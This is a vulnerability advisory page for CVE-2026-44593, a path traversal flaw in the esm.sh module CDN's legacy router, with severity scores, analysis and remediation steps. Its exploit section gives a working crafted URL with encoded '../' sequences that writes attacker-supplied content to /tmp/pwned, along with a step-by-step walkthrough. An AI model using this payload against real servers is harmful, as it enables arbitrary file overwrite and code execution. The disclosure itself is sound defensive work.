Skip to main content

esm.sh CVE-2026-44593

| EUVDEUVD-2026-32910 HIGH
Path Traversal (CWE-22)
2026-05-12 https://github.com/esm-dev/esm.sh GHSA-3636-h3vx-6465
8.7
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Remote unauthenticated single request (AV:N/AC:L/PR:N/UI:N) yields attacker-controlled arbitrary file write leading to code execution as the server, justifying full C/I/A:H rather than the vendor's integrity-only scoring.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

5
Source Code Evidence Fetched
Jul 23, 2026 - 19:13 vuln.today
Analysis Generated
Jul 23, 2026 - 19:13 vuln.today
CVSS changed
May 28, 2026 - 16:22 NVD
8.7 (HIGH)
CVE Published
May 12, 2026 - 22:22 github-advisory
HIGH 8.7
CVE Published
May 12, 2026 - 22:22 nvd
CRITICAL

DescriptionGitHub Advisory

Impact

  • Arbitrary File Write - An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE - By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction

A crafted request is sent to the server:

   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
  1. Proxy to Legacy Server

The request is forwarded to:

   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

which resolves to:

   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
  1. File Retrieval

The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  1. Path Normalisation & Storage

The storage path derived from the request is:

   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  1. Result

By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@\_splitline\_) from DEVCORE Research Team

AnalysisAI

Arbitrary file write in the esm.sh module CDN server (versions ≤ 137) lets remote unauthenticated attackers write attacker-controlled content to any path the server process can write to, and by overwriting binaries or scripts, escalate to remote code execution with the server's privileges. The flaw lives in the legacy router (legacy_router.go), which concatenates URL-encoded path segments into a storage key without sanitization before calling buildStorage.Put. A detailed, reproducible exploit walkthrough is published in the vendor GHSA advisory, so publicly available exploit code exists; EPSS is low (0.06%, 20th percentile) and the CVE is not on CISA KEV.

Technical ContextAI

esm.sh is a Go-based CDN/build server that transpiles and serves npm and GitHub-hosted ES modules. The vulnerability is a classic CWE-22 path traversal: the legacy compatibility route parses the request path, fetches the referenced module (e.g. from a GitHub repo via the /gh/ prefix), and derives a filesystem storage key of the form 'legacy/<version>/<pkg>/...'. Because URL-encoded traversal sequences (%2f = '/', %23 = '#') and '../' segments are neither decoded-then-validated nor stripped, the resulting key such as 'legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@.../foo.md#/../../../../tmp/pwned' is normalized by the OS filesystem down to an absolute location like /tmp/pwned. The affected package is pkg:go/github.com_esm-dev_esm.sh. The write content is the body of the file fetched from an attacker-controlled GitHub repository, giving the attacker control over both the destination path and the written bytes.

RemediationAI

Vendor-released patch: upgrade to esm.sh v137_3 (Go pseudo-version 0.0.0-20260508100112-1960055e1d53), which adds security hardening for path traversal - preventing traversal in module resolution (PR #1353) and rejecting path-traversal keys in filesystem storage (PR #1351). See the advisory at https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465 and release notes at https://github.com/esm-dev/esm.sh/releases/tag/v137_3. If immediate upgrade is not possible, apply compensating controls: block or reject requests to the legacy /v1xx/ router paths at a reverse proxy (trade-off: breaks legacy module compatibility for older clients), and normalize/decode incoming request paths at the proxy and reject any containing encoded or literal traversal sequences (%2e%2e, %2f, %23, '../'). Additionally, run the esm.sh process as an unprivileged user on a read-only or narrowly-scoped filesystem so an arbitrary write cannot land on an executable path (trade-off: requires the build cache/storage directory to remain the only writable location), which limits the write primitive from escalating to RCE.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-44593 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy